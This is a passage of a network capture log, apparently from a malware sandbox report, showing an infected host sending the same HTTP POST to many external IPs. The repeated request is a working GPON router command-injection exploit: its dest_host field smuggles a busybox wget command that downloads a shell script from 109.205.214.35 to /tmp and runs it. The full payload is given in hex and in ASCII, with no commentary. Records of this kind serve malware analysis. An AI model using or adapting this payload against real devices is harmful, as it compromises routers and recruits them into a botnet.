Mar 21, 2024 05:16:52.977055073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.23	46090	118.50.179.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978167057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.23	39794	42.172.171.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978246927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.23	51358	37.86.106.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978287935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.23	58672	210.110.82.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978326082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.23	41994	79.187.20.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978354931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.23	56624	42.131.121.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978439093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.23	45238	212.47.211.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978492975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.23	41920	118.74.55.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978523970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.23	55388	2.137.39.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978573084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.23	58250	178.226.246.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978596926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.23	51420	118.34.98.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978630066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.23	58380	118.112.50.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978655100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.23	47846	118.162.118.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978694916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.23	55296	37.42.24.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978773117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.23	48372	109.160.191.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978811979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.23	42662	37.64.136.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978858948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.23	55128	2.218.172.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978879929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.23	38508	2.222.200.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.978950977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.23	39960	178.252.224.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979007959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.23	57460	118.165.190.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979042053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.23	47506	109.230.23.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979110003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.23	39504	2.163.89.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979142904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.23	33038	94.187.155.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979161024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.23	34480	94.212.24.201	443

Timestamp	Bytes transferred	Direction	Data
